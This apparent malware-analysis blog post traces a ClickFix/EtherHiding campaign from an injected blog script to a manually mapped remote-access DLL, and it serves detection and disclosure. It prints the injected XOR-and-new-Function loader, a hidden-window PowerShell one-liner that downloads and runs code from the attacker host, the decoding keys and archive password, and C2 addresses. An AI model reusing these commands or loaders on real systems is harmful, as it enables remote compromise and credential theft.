Skip to content

From EtherHiding to a native RAT: ClickFix on new-blog.artlist[.]io

Kirk
15 min read
malwareclickfixetherhidingratpowershelldll-side-loadingreverse-engineering
On this page

On July 13, 2026, new-blog.artlist[.]io served an obfuscated script at the top of its HTML. The primary artlist[.]io site was clean when checked. The injected code queried a Polygon smart contract, recovered auth-code-check[.]info, and loaded a fake reCAPTCHA page that instructed visitors to paste a PowerShell command into Windows Terminal.

That familiar ClickFix opening led to an unusually deep Windows chain. The PowerShell downloaded a password-protected 31 MB archive containing a signed StruSoft/FEM-Design updater and a local DLL bundle. Loading the updater reached LibBind.dll, which decoded shellcode from Stream.Toolkit.dat and executed it through an EnumTimeFormatsEx callback. The shellcode then parsed a custom 1,178-record store in Face.dat, recovered a Delphi loader named act.exe, decrypted an embedded ZIP, and handed control to another position-independent loader. That stage decoded and manually mapped the final PE32+ DLL.

The last DLL is a full remote-access payload. Its mapped command paths cover browser-store collection, protected outbound reporting, resumable file transfer, process control, shell commands, remote desktop, keylogging, clipboard access, SOCKS bridging, service installation, and in-memory PE delivery. Its endpoint scheduler can rotate between a C2-supplied direct table, four embedded IPv4 fallbacks, and four .onion addresses reached through a dynamically delivered Tor module.

A controlled replay also exposed state in the delivery backend. An old archive token returned 410 Gone one second after its /p/<token> marker was called. A fresh token delivered the archive when requested before /p/. The marker is a strong candidate for consuming or closing delivery state, but the replay did not isolate it from token age, request history, source address, visitor ID, or timing.

This report follows the bytes from the injected page to the final native command surface. The recovered artifacts were analyzed statically. They were not executed.

This investigation was conducted with Hudson Rock (opens in new tab). Thank you to their team for the opportunity to work the case and publish these technical findings. Their companion report (opens in new tab) covers the infostealer evidence and credential-compromise context that led to the campaign's discovery.


Campaign overview

Field Value
Affected host new-blog.artlist[.]io
Observed July 13, 2026
Delivery host auth-code-check[.]info
Polygon contract 0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2
Contract selector 0xb68d1809
Campaign token fd31a7ad950e56856e09dcb32f0fc58caec1ad7da5c91b0a
Archive fdupdate.zip, 32,713,067 bytes
Archive SHA-256 3a9b8eccad62d84fc59f86dae41e8c74ae6ae544f079b099b12b37de1abd7a60
Archive password Arsen33
Launch file fdupdate.exe
Final decoded DLL SHA-256 8035b177ca682962fd6501228ebd460ef174183ac08a87d81514bba3ecfd9502

The same injected script appeared at the top of multiple pages on the WordPress subdomain. That placement indicates an injection upstream of individual post content. A theme, plugin, tag manager, early rendering hook, CDN rule, edge worker, or publishing component could all produce that shape. The affected HTML proves broad placement on the observed subdomain; it does not identify the compromised component.

Chain overview

new-blog.artlist[.]io HTML
  -> base64 + XOR 0x50 JavaScript wrapper
  -> Polygon eth_call
  -> auth-code-check[.]info/api.php?s=<campaign>&_v=<minute>
  -> fake reCAPTCHA / ClickFix overlay
  -> clipboard PowerShell
  -> HTTPS /<16-hex ray>
  -> HTTP /<16-hex ray>?_=1
  -> 20-second delay
  -> /7z + /<64-hex archive token>
  -> password-protected fdupdate.zip
  -> signed fdupdate.exe and local DLL chain
  -> LibBind.dll
  -> Stream.Toolkit.dat[0x4c26a:0x4c26a+0x533a3] XOR 0xe5
  -> EnumTimeFormatsEx callback
  -> custom Face.dat store
  -> decoded script/config + act.exe
  -> AES-256-CBC encrypted ZIP
  -> raw x64 loader
  -> embedded PE XOR 0x43 ^ (i & 0xff)
  -> manually mapped native RAT DLL

The page keeps the host on-chain

The script inserted at the top of the page used a small decoder:

var blob = atob("...");
var key = 80;
var bytes = new Uint8Array(blob.length);
for (...) bytes[i] = blob.charCodeAt(i) ^ key;
(new Function(new TextDecoder().decode(bytes)))();

After base64 decoding, each byte is XORed with 0x50. TextDecoder turns the result into JavaScript and new Function executes it. The decoded loader sets a page-level guard before doing any network work:

if (window["_197515e445"]) return;
window["_197515e445"] = 1;

The loader does not carry the next-stage host directly. It sends an eth_call with selector 0xb68d1809 to Polygon contract 0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2. Eight Polygon RPC endpoints provide failover, including Tenderly, dRPC, QuickNode, 1RPC, Ankr, PublicNode, and Blast.

The contract returned:

hxxps://auth-code-check[.]info

The loader appended the campaign token and a minute-based cache buster:

hxxps://auth-code-check[.]info/api.php?s=fd31a7ad950e56856e09dcb32f0fc58caec1ad7da5c91b0a&_v=<floor(Date.now()/60000)>

That is the EtherHiding part of the chain. The compromised page stores the contract, selector, and RPC list. The contract stores the replaceable delivery host. Moving the next stage does not require another edit to the injected page.

ClickFix supplies the user execution

Two minute-versioned api.php responses had different wrapper hashes but decoded to the same 24 KB script structure. The wrapper's XOR key rotated between responses.

The decoded script creates a full-page Shadow DOM overlay that imitates reCAPTCHA. It localizes the prompt, blocks the context menu and common inspection shortcuts, and walks the visitor through Windows + X, Terminal, Ctrl + V, and Enter. A host- and campaign-specific localStorage key limits repeated display.

The script also creates a visitor ID, sends dl, cb, and check telemetry to api.php, and prefers AES-GCM-protected JSON before falling back to query parameters. The visible verification step is theater. The clipboard receives PowerShell:

powershell -w h "iex(irm 'auth-code-check[.]info/0492b50f7725358c' -UseBasicParsing)"; exit <#Verification ID: 0492b50f7725358c#>

The -w h option hides the PowerShell window. irm retrieves the ray-specific response and iex executes it.

The HTTPS ray response is another XOR-obfuscated PowerShell wrapper. It creates a WinHttp.WinHttpRequest.5.1 COM object and pivots to an explicit HTTP URL:

hxxps://auth-code-check[.]info/0492b50f7725358c
  -> hxxp://auth-code-check[.]info/0492b50f7725358c?_=1

The second response unwraps the downloader. It waits 20 seconds, creates a random temporary directory, downloads 7z.exe, retrieves the archive, and extracts it with password Arsen33. It searches recursively for fdupdate.exe, calls Start-Process when it finds the file, deletes the archive, and finally requests /p/<archive-token>.

The fresh paths were:

hxxp://auth-code-check[.]info/7z
hxxp://auth-code-check[.]info/f6b98f07c7f130cb8f60967e8ebd7a7203f228bc6faafce6fb1d88166ca27a7d
hxxp://auth-code-check[.]info/p/f6b98f07c7f130cb8f60967e8ebd7a7203f228bc6faafce6fb1d88166ca27a7d

The /p/ request is unconditional after the launch block. It marks the attempt, not proven successful execution.

The archive token has state

The first archive replay failed because the request order did not match the downloader.

At 20:11:03 UTC, /p/<old-token> returned 200 ok. One second later, the archive endpoint returned 410 Gone. An action=check request later reported both fetched and consumed as true. Changing the User-Agent, scheme, query, and callback shape did not restore the old token.

A fresh browser registration produced a new ray and archive token. This time the replay preserved the 20-second delay, fetched /7z, requested the archive before /p/, and received the 32,713,067-byte ZIP.

action=dl
  -> action=cb
  -> HTTPS /<ray>
  -> HTTP /<ray>?_=1
  -> wait
  -> /7z
  -> /<archive token>
  -> /p/<archive token>

No successful response in that sequence set a cookie. A failed .zip suffix variant alone returned 403 and set xdv_sess, which appears to be a separate denial route.

The replay proves that delivery was active and that the backend tracked request state. It does not prove that /p/ alone consumed the token. Token age, request history, source address, visitor ID, and timing remain possible inputs.

A signed updater opens the native chain

The archive contains 26 files totaling 79,248,355 bytes. The main executable is a signed StruSoft/FEM-Design updater:

Artifact Size SHA-256
fdupdate.exe 573,768 d518964aa67c359d0a806909451130591e337276bea33b6d41ef79126904ca3a
fdcadkernel.dll 9,897,288 0c080d3b70beb766f522d0b48855ce5642665b9c77a5c1abb1f4530244e61d2d
fdunderkernel.dll 466,240 82193ac9cb7a933b421f9fa99d874e242285ab6f06d50b3cd81684f4f939c1b3
LibBind.dll 45,056 2f592365de553d8bb023a9e11439c2e18dcbe84d22b0cd6025b043d7d9029ac7
MUITransferX64.dll 31,232 a30c6a042e65c8a94fdb08ffbc8c8328adaea929b5ab932ece91be53fbc19ec8
TBFVSS_DLL_SRV_64.dll 28,160 a7c94343b51643b7477ba2c7630b168ce3cb1f03126a85c39363e70742e3afb5
Stream.Toolkit.dat 896,616 6bc18b6c6050bdd554c4a945838b8b3a35b5c5813b950cf5f2e822b2396718cf

fdupdate.exe contains coherent updater code, a StruSoft mutex, references to fdupd.ini and version.ini, and normal WinINet update routines. The malicious behavior enters through its local dependency graph:

fdupdate.exe
  -> fdcadkernel.dll
     -> renderengine.dll
        -> LibBind.dll
           -> TBFVSS_DLL_SRV_64.dll
           -> uv.dll
           -> LoadLibraryW("MUITransferX64.dll")

renderengine.dll imports LibBind.dll::group_by_u. LibBind.dll also reaches the same function from a worker thread created during process attach.

`LibBind.dll` unwraps `Stream.Toolkit.dat`

The LibBind.dll entry point at 0x1800059cc reaches helper 0x180001328, which creates a thread at 0x180001a64. That thread calls group_by_u at 0x1800017e0 behind a one-time guard.

The loader opens Stream.Toolkit.dat, seeks to offset 0x4c26a, reads 0x533a3 bytes, and XORs every byte with 0xe5. The decoded 340,899-byte artifact has SHA-256:

a0812fec1c5051121c332d6add4f2b05df43e3190ceebfef29ca56d62ceca48d

TBFVSS_DLL_SRV_64.dll::data_process allocates 0x208000 bytes and initially fills the region with random data. LibBind.dll copies the decoded payload into an offset within that allocation. Export Ux changes the allocation to PAGE_EXECUTE_READ and passes the decoded pointer to EnumTimeFormatsEx as its callback.

The code is not hiding behind an exotic execution primitive. It is using a Windows enumeration API as a clean indirect call into decoded shellcode.

`Face.dat` is the second container

The decoded shellcode manually resolves APIs and searches module-derived paths for files with these extensions:

bak  db  bin  dat  raw  pak

Candidates are passed to a custom storage validator with key 0x1b51b9fd. Face.dat is the file that passes.

Its table contains 1,178 records. The table begins at 0x78, uses a 0x58-byte stride, and ends at 0x19568. Record payloads follow in table order and consume the file exactly. Every record in this sample enables a reversible byte transform driven by metadata byte +0x23:

param = metadata_byte_0x23
if 6 < param < 0x28:
    param = (param * 4 + 0x18) & 0xff

state = 6
for each payload byte:
    state = (state * 3 + 5) & 0xff
    byte ^= (param + state) & 0xff

Most records carry no payload or eight bytes. Two contain almost everything useful:

Record Tag Length Decoded content SHA-256
4 16001 3,990 UTF-16 script/config 629518befad5153a2e8352e30f6a5169bac2c17329497678d5686cf15a0aacc9
1168 16100 7,896,064 PE32+ act.exe 75d4b6cec5bdc40cda25b5b9be136ccca97d77843825796beace7ddbfe87b614

The script waits two seconds, repeatedly repairs HKCU Run persistence every 125 seconds, repairs scheduled-task persistence every 675 seconds, loads the @input resource through previewer::load_exe, and then waits indefinitely. Both persistence records use the display/value string:

FEM Update Model Manager

The surrounding shellcode provides the interpreter behind that script. Its mapped command groups include HKCU and HKLM Run values, Startup-folder shortcuts, Windows services, Task Scheduler, native in-memory loading, CLR hosting, anti-VM checks, and timer queues. The embedded script selects only a subset for this sample. Capability in the interpreter is not the same as activation by the recovered script.

`act.exe` carries two more layers

Record 1168 decodes to an unsigned Delphi x64 executable reporting the name act.exe. Its entry path resolves CryptoAPI and decrypts an embedded blob at file offset 0x42670, length 0x592340.

The decryptor uses:

key seed: 36D6111FE68AE52A7B9E2095280EECAC
hash: MD5 through CryptoAPI
cipher: AES-256-CBC
IV: all zeroes
padding: PKCS#7

Static replay produced a valid ZIP containing one LZMA-compressed member:

Layer Size SHA-256
Encrypted blob 5,841,728 72e4ecdbd5bfc150f9f43b8d9e04a07408f5da3bccda9c5080616c63d0f6067d
Decrypted ZIP 5,841,713 87892ebf77e8a33a3423ec3272d269116f7c6de58c3c29bed71c2ae46de3f228
Raw x64 member 8,865,864 06157c24ed9ad3b2a639ca901deac6a29c26861ab5f6da31093247eadec9139a

The raw member is a position-independent loader. It walks the PEB for kernel32.dll, resolves exports with a CRC-32-like hash, and decodes an embedded image at offset 0xc48. The loop processes 0x873c00 bytes with:

decoded[i] = encoded[i] ^ 0x43 ^ (i & 0xff)

That transform produces the final PE32+ DLL:

SHA-256: 8035b177ca682962fd6501228ebd460ef174183ac08a87d81514bba3ecfd9502
Image base: 0x400000
Entry point: 0x00b4e670
Export name: bad.dll
Exports: dbkFCallWrapperAddr, __dbk_fcall_wrapper,
         TMethodImplementationIntercept, s

The raw loader allocates an RWX image, copies headers and sections, resolves imports, applies DIR64 relocations, registers unwind metadata with RtlAddFunctionTable, runs TLS callbacks, and calls the mapped DLL entry point.

From the injected page to this point, the chain has crossed six distinct decoding or loading boundaries. Each one removes useful metadata. The final DLL puts the behavior back on the table.

The final DLL is a remote-access payload

The DLL supports rundll32, regsvr32, service, and svchost-style startup. Its main worker can register a service table or create a hidden window. The window procedure at 0x00b46070 accepts encrypted WM_COPYDATA, validates a fixed 0x1c7-byte header, and dispatches internal commands.

Command 6 starts worker 0x00b4e470, which launches scheduler 0x00b2dd00. The scheduler rotates connection records across three endpoint families:

  1. Four direct (IPv4, port) slots that can be replaced by C2 response 0x800 / 1.
  2. Four .onion:443 records reached through a local SOCKS5 listener after a Tor module is delivered and mapped.
  3. Four generated direct IPv4 fallbacks.

A successful 0x119-byte record is cached and retried before the normal rotation.

Endpoint fallbacks

The initializer sets subtractor 0x43. Applying it to the encoded constants produces:

45[.]151[.]74[.]119:443
109[.]172[.]95[.]184:443
151[.]236[.]4[.]135:443
62[.]60[.]156[.]11:443

The Tor seeder writes four candidates:

aqpfkxxtvahlzr6vobt6fhj4riev7wxzoxwltbcysuybirygxzvp23ad[.]onion:443
t77e4phezpwqebpbhdagr26ewkfaxytscimhxofws4wcisjo4wundead[.]onion:443
vsjyfpt7vcd6atniefmz36ikxrqk5eyv573a2af4e2ntb437wdch63yd[.]onion:443
fejdqikkdwheckrutucbbyeovpdnef4bopz2fx636i67p3qpffpfxxad[.]onion:443

The Tor module is not embedded in the static DLL. A non-32-byte response to request 0xfd0 / 1 is stored as encrypted event type 9. Fallback worker 0x00b29780 retrieves that event, decrypts it, manually maps the returned PE, resolves tor_main, seeds the .onion records, and starts the local SOCKS listener. The default local port field is 0x235a.

Protected framing

The client sends a 0x94-byte protected outer header followed by a protected body. Before encryption, the header carries:

uint32 decoded_body_length
uint32 protected_body_length
uint8  codec_mode

For each protected body, the client generates a fresh AES-256 key, encrypts the data, wraps the AES key with the recipient RSA public key, and appends the wrapped material. The handshake generates a 1024-bit RSA exchange pair, sends the client public key under an embedded server key, and verifies a signed server response before marking the session active.

This establishes client-side encryption, framing, signature verification, and length bounds. It does not reveal how the server stores private keys or names fields internally.

Operator command surface

The network dispatcher at 0x00b1f010 reads its selector from command-frame offset +0x18. The mapped branches are:

Selector Static behavior
1 Paired desktop/display and keyboard, mouse, and clipboard workers
2 Local and network filesystem listing, recursive delete, overwrite-and-delete, directory creation, process launch, filtered search, and aggregate size/count
3 Resumable file download from the victim and upload to the victim, both from peer-supplied offsets
4 Process inventory, process termination, and cmd.exe /c with captured output
5 Interactive screen streaming, window inventory, mouse and key control, clipboard transfer, program launch, and window close
6 Bidirectional socket bridge plus SOCKS4/SOCKS5 CONNECT handling
0x0b Alternate full-desktop stream with global mouse/keyboard injection and Unicode clipboard transfer
0x33 Private-desktop remote-control subsystem using a C2-supplied endpoint
0x34 Browser-store and endpoint-inventory collection with protected outbound reporting

Selector 0x34 gives the clearest collection path. Worker 0x00b1dd80 emits tagged records for Chromium Web Data and Login Data, payment and autofill material, token-service data, Firefox-style cookies.sqlite, and host inventory. It then sends the fixed session context and serialized report over the protected mode-2 channel.

The static code proves that these stores are targeted, packaged, and sent. The exact recovered fields depend on the victim's browser state and host protections. This analysis did not demonstrate successful decryption of App-Bound or other host-protected browser secrets.

Other xref-backed paths install a WH_KEYBOARD_LL hook, read Unicode or ANSI clipboard contents, capture desktop images and AVI video, create auto-start services, and allocate and write memory in remote processes. PFXExportCertStoreEx and NCryptExportKey paths can export private-key-capable PFX material, but no activation route from the mapped command surface reaches that code. It remains capability without a recovered trigger.

Detection and hunting

Network

  • new-blog.artlist[.]io observed serving the injected script on July 13, 2026
  • auth-code-check[.]info
  • auth-code-check[.]info/api.php
  • auth-code-check[.]info/7z
  • auth-code-check[.]info/<16-hex ray>
  • auth-code-check[.]info/<16-hex ray>?_=1
  • auth-code-check[.]info/<64-hex archive token>
  • auth-code-check[.]info/p/<64-hex archive token>
  • 45[.]151[.]74[.]119:443
  • 109[.]172[.]95[.]184:443
  • 151[.]236[.]4[.]135:443
  • 62[.]60[.]156[.]11:443
  • aqpfkxxtvahlzr6vobt6fhj4riev7wxzoxwltbcysuybirygxzvp23ad[.]onion:443
  • t77e4phezpwqebpbhdagr26ewkfaxytscimhxofws4wcisjo4wundead[.]onion:443
  • vsjyfpt7vcd6atniefmz36ikxrqk5eyv573a2af4e2ntb437wdch63yd[.]onion:443
  • fejdqikkdwheckrutucbbyeovpdnef4bopz2fx636i67p3qpffpfxxad[.]onion:443

Browser and script

  • Polygon contract 0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2
  • Selector 0xb68d1809
  • Campaign token fd31a7ad950e56856e09dcb32f0fc58caec1ad7da5c91b0a
  • eth_call combined with /api.php?s=
  • atob, Uint8Array, XOR, TextDecoder, and new Function
  • powershell -w h
  • WinHttp.WinHttpRequest.5.1
  • Start-Sleep -Seconds 20
  • 7z x -y -pArsen33

Host artifacts

  • fdupdate.zip
  • fdupdate.exe
  • LibBind.dll
  • MUITransferX64.dll
  • TBFVSS_DLL_SRV_64.dll
  • Stream.Toolkit.dat
  • Face.dat
  • Autorun display/value name FEM Update Model Manager
  • Stream.Toolkit.dat offset 0x4c26a, length 0x533a3, XOR key 0xe5
  • Face.dat magic/key 0x1b51b9fd
  • act.exe key seed 36D6111FE68AE52A7B9E2095280EECAC
  • Final embedded PE offset 0xc48, length 0x873c00, mask 0x43 ^ (i & 0xff)

Key hashes

Artifact SHA-256
Delivered archive 3a9b8eccad62d84fc59f86dae41e8c74ae6ae544f079b099b12b37de1abd7a60
fdupdate.exe d518964aa67c359d0a806909451130591e337276bea33b6d41ef79126904ca3a
LibBind.dll 2f592365de553d8bb023a9e11439c2e18dcbe84d22b0cd6025b043d7d9029ac7
Decoded Stream.Toolkit.dat shellcode a0812fec1c5051121c332d6add4f2b05df43e3190ceebfef29ca56d62ceca48d
Decoded Face.dat script 629518befad5153a2e8352e30f6a5169bac2c17329497678d5686cf15a0aacc9
Decoded act.exe 75d4b6cec5bdc40cda25b5b9be136ccca97d77843825796beace7ddbfe87b614
Raw x64 loader 06157c24ed9ad3b2a639ca901deac6a29c26861ab5f6da31093247eadec9139a
Final decoded DLL 8035b177ca682962fd6501228ebd460ef174183ac08a87d81514bba3ecfd9502

Conclusion

The injected page is only the front door. Its EtherHiding loader keeps the replaceable delivery host in a Polygon contract, while the ClickFix overlay moves execution through the visitor's clipboard. The PowerShell backend then uses ray and archive tokens to deliver a signed updater bundle under request-state controls.

Inside the archive, the chain trades names and formats repeatedly: updater DLLs, an XOR slice in Stream.Toolkit.dat, a custom record store in Face.dat, a Delphi executable, an encrypted ZIP, raw position-independent code, and finally a manually mapped DLL. The layers are noisy. The handoffs are stable.

For hunting, chase those handoffs: the Polygon contract and selector, the auth-code-check[.]info ray/token grammar, password Arsen33, the LibBind.dll to Stream.Toolkit.dat offset and XOR, the Face.dat key, the act.exe AES seed, and the final 0x43 ^ index PE decode. Any one filename can move. That sequence is much harder to repaint.

Share this article

We appreciate you

Derp wouldn't exist without the work these projects do for the security community. We rely on their data sources to improve the quality and depth of what we publish. Thank you, we're genuinely grateful.